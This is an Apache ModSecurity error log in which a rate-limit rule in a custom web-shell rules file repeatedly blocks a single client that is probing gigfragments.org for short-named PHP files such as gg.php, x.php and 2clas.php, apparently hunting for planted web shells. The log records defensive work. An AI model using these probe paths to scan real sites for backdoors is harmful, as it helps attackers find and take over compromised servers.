[Sun Mar 01 00:24:01.300617 2026] [:error] [pid 30798:tid 30917] [client 4.241.228.159:2176] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aaMWocBkD73gO8wTonY46wAAAJI"]
[Sun Mar 01 00:24:01.620009 2026] [:error] [pid 53600:tid 53611] [client 4.241.228.159:2318] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aaMWoQ2UMRAYWtDB23SdGQAAAQg"]
[Sun Mar 01 00:24:01.922422 2026] [:error] [pid 53600:tid 53616] [client 4.241.228.159:2202] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aaMWoQ2UMRAYWtDB23SdHAAAAQ0"]
[Sun Mar 01 00:24:02.215401 2026] [:error] [pid 30798:tid 30908] [client 4.241.228.159:2223] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aaMWosBkD73gO8wTonY47gAAAIk"]
[Sun Mar 01 00:24:02.473145 2026] [:error] [pid 53600:tid 53623] [client 4.241.228.159:2187] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aaMWog2UMRAYWtDB23SdIgAAARQ"]
[Sun Mar 01 00:24:02.774214 2026] [:error] [pid 31190:tid 31214] [client 4.241.228.159:2870] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aaMWohfvwGOholYpM1E76wAAAMg"]
[Sun Mar 01 00:24:03.007764 2026] [:error] [pid 53600:tid 53627] [client 4.241.228.159:2239] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aaMWow2UMRAYWtDB23SdJQAAARg"]
[Sun Mar 01 00:24:03.253347 2026] [:error] [pid 53600:tid 53618] [client 4.241.228.159:2816] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aaMWow2UMRAYWtDB23SdKgAAAQ8"]
[Sun Mar 01 00:24:03.523339 2026] [:error] [pid 53600:tid 53623] [client 4.241.228.159:2191] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aaMWow2UMRAYWtDB23SdLwAAARQ"]
[Sun Mar 01 00:24:03.756163 2026] [:error] [pid 30795:tid 30812] [client 4.241.228.159:2830] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aaMWo2uI44IL94Zgti-j8gAAAAQ"]
[Sun Mar 01 00:24:03.986706 2026] [:error] [pid 30798:tid 30921] [client 4.241.228.159:2820] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aaMWo8BkD73gO8wTonY48gAAAJU"]
[Sun Mar 01 00:24:04.217673 2026] [:error] [pid 30795:tid 30810] [client 4.241.228.159:2835] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aaMWpGuI44IL94Zgti-j9AAAAAI"]
[Sun Mar 01 00:24:04.543630 2026] [:error] [pid 31190:tid 31220] [client 4.241.228.159:2865] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aaMWpBfvwGOholYpM1E78QAAAM4"]
[Sun Mar 01 00:24:04.827095 2026] [:error] [pid 30795:tid 30828] [client 4.241.228.159:2588] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aaMWpGuI44IL94Zgti-j-AAAABQ"]
[Sun Mar 01 00:24:05.084925 2026] [:error] [pid 30797:tid 30892] [client 4.241.228.159:2867] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aaMWpfQmcmSQL-3rvLD3-AAAAFU"]
[Sun Mar 01 00:24:05.428238 2026] [:error] [pid 31190:tid 31210] [client 4.241.228.159:2579] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aaMWpRfvwGOholYpM1E79AAAAMQ"]
[Sun Mar 01 00:24:05.674201 2026] [:error] [pid 30795:tid 30817] [client 4.241.228.159:2513] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aaMWpWuI44IL94Zgti-kAAAAAAk"]
[Sun Mar 01 00:24:05.901929 2026] [:error] [pid 31190:tid 31227] [client 4.241.228.159:2882] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aaMWpRfvwGOholYpM1E79gAAANU"]
[Sun Mar 01 00:24:06.199041 2026] [:error] [pid 31190:tid 31212] [client 4.241.228.159:2845] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aaMWphfvwGOholYpM1E79wAAAMY"]
[Sun Mar 01 00:24:06.458020 2026] [:error] [pid 31190:tid 31224] [client 4.241.228.159:2209] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aaMWphfvwGOholYpM1E7-wAAANI"]
[Sun Mar 01 00:24:06.700817 2026] [:error] [pid 30798:tid 30909] [client 4.241.228.159:2828] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aaMWpsBkD73gO8wTonY5AwAAAIo"]
[Sun Mar 01 00:24:07.028231 2026] [:error] [pid 53600:tid 53623] [client 4.241.228.159:2839] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aaMWpw2UMRAYWtDB23SdTAAAARQ"]
[Sun Mar 01 00:24:07.262977 2026] [:error] [pid 53600:tid 53607] [client 4.241.228.159:2859] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aaMWpw2UMRAYWtDB23SdTwAAAQQ"]
[Sun Mar 01 00:24:07.572312 2026] [:error] [pid 53600:tid 53613] [client 4.241.228.159:2229] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aaMWpw2UMRAYWtDB23SdVAAAAQo"]
[Sun Mar 01 00:24:07.829215 2026] [:error] [pid 30795:tid 30832] [client 4.241.228.159:2554] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaMWp2uI44IL94Zgti-kCAAAABg"]
[Sun Mar 01 00:24:08.129668 2026] [:error] [pid 30798:tid 30902] [client 4.241.228.159:2553] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaMWqMBkD73gO8wTonY5DQAAAIM"]
[Sun Mar 01 00:24:08.439878 2026] [:error] [pid 31190:tid 31210] [client 4.241.228.159:2855] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaMWqBfvwGOholYpM1E8AgAAAMQ"]
[Sun Mar 01 00:24:08.694305 2026] [:error] [pid 30797:tid 30893] [client 4.241.228.159:2861] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaMWqPQmcmSQL-3rvLD3-wAAAFY"]
[Sun Mar 01 00:24:08.986513 2026] [:error] [pid 31190:tid 31212] [client 4.241.228.159:2243] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaMWqBfvwGOholYpM1E8BQAAAMY"]
[Sun Mar 01 00:24:09.223011 2026] [:error] [pid 30797:tid 30878] [client 4.241.228.159:2841] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaMWqfQmcmSQL-3rvLD3_wAAAEc"]
[Sun Mar 01 00:24:09.518489 2026] [:error] [pid 30795:tid 30813] [client 4.241.228.159:2875] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaMWqWuI44IL94Zgti-kDAAAAAU"]
[Sun Mar 01 00:24:09.772706 2026] [:error] [pid 30795:tid 30809] [client 4.241.228.159:2840] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaMWqWuI44IL94Zgti-kDwAAAAE"]
[Sun Mar 01 00:24:10.021276 2026] [:error] [pid 30795:tid 30817] [client 4.241.228.159:2585] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aaMWqmuI44IL94Zgti-kEAAAAAk"]
[Sun Mar 01 00:24:10.282453 2026] [:error] [pid 30795:tid 30818] [client 4.241.228.159:2529] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aaMWqmuI44IL94Zgti-kFQAAAAo"]
[Sun Mar 01 00:24:10.523654 2026] [:error] [pid 53600:tid 53606] [client 4.241.228.159:2575] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aaMWqg2UMRAYWtDB23SdawAAAQM"]
[Sun Mar 01 00:24:10.761646 2026] [:error] [pid 53600:tid 53622] [client 4.241.228.159:2583] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aaMWqg2UMRAYWtDB23SdbQAAARM"]
[Sun Mar 01 00:24:11.000111 2026] [:error] [pid 30795:tid 30827] [client 4.241.228.159:2477] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aaMWqmuI44IL94Zgti-kHgAAABM"]
[Sun Mar 01 00:24:11.394918 2026] [:error] [pid 30797:tid 30873] [client 4.241.228.159:2520] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aaMWq_QmcmSQL-3rvLD4BQAAAEI"]
[Sun Mar 01 00:24:11.662962 2026] [:error] [pid 30795:tid 30831] [client 4.241.228.159:2873] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aaMWq2uI44IL94Zgti-kJAAAABc"]
[Sun Mar 01 00:24:11.914821 2026] [:error] [pid 30795:tid 30821] [client 4.241.228.159:2847] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aaMWq2uI44IL94Zgti-kJgAAAA0"]
[Sun Mar 01 00:24:12.206346 2026] [:error] [pid 53600:tid 53611] [client 4.241.228.159:2570] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aaMWrA2UMRAYWtDB23SdewAAAQg"]
[Sun Mar 01 00:24:12.435625 2026] [:error] [pid 53600:tid 53620] [client 4.241.228.159:2821] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aaMWrA2UMRAYWtDB23SdfgAAARE"]
[Sun Mar 01 00:24:12.801956 2026] [:error] [pid 30795:tid 30827] [client 4.241.228.159:2906] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aaMWrGuI44IL94Zgti-kLAAAABM"]
[Sun Mar 01 00:24:13.100788 2026] [:error] [pid 31190:tid 31226] [client 4.241.228.159:2185] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aaMWrRfvwGOholYpM1E8EwAAANQ"]
[Sun Mar 01 00:24:13.325426 2026] [:error] [pid 31190:tid 31227] [client 4.241.228.159:2823] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aaMWrRfvwGOholYpM1E8FAAAANU"]
[Sun Mar 01 00:24:13.665645 2026] [:error] [pid 30795:tid 30820] [client 4.241.228.159:2616] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aaMWrWuI44IL94Zgti-kLgAAAAw"]
[Sun Mar 01 00:24:14.033857 2026] [:error] [pid 53600:tid 53609] [client 4.241.228.159:2852] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aaMWrg2UMRAYWtDB23SdkAAAAQY"]
[Sun Mar 01 00:24:14.294371 2026] [:error] [pid 31190:tid 31221] [client 4.241.228.159:2850] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aaMWrhfvwGOholYpM1E8FwAAAM8"]
[Sun Mar 01 00:24:14.554657 2026] [:error] [pid 31190:tid 31224] [client 4.241.228.159:2876] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aaMWrhfvwGOholYpM1E8GAAAANI"]
[Sun Mar 01 00:24:14.794875 2026] [:error] [pid 30798:tid 30906] [client 4.241.228.159:2825] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aaMWrsBkD73gO8wTonY5LgAAAIc"]
[Sun Mar 01 00:24:15.061162 2026] [:error] [pid 31190:tid 31214] [client 4.241.228.159:2822] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aaMWrxfvwGOholYpM1E8GgAAAMg"]
[Sun Mar 01 00:24:15.289609 2026] [:error] [pid 30795:tid 30812] [client 4.241.228.159:2869] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aaMWr2uI44IL94Zgti-kMwAAAAQ"]
[Sun Mar 01 00:24:15.661468 2026] [:error] [pid 30795:tid 30818] [client 4.241.228.159:2868] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaMWr2uI44IL94Zgti-kNQAAAAo"]
[Sun Mar 01 00:24:15.890478 2026] [:error] [pid 30795:tid 30829] [client 4.241.228.159:2858] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaMWr2uI44IL94Zgti-kOAAAABU"]
[Sun Mar 01 00:24:16.125114 2026] [:error] [pid 30795:tid 30828] [client 4.241.228.159:2210] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaMWsGuI44IL94Zgti-kOwAAABQ"]
[Sun Mar 01 00:24:16.395538 2026] [:error] [pid 30798:tid 30922] [client 4.241.228.159:2829] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaMWsMBkD73gO8wTonY5NAAAAJY"]
[Sun Mar 01 00:24:16.737416 2026] [:error] [pid 30798:tid 30902] [client 4.241.228.159:2572] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aaMWsMBkD73gO8wTonY5NgAAAIM"]
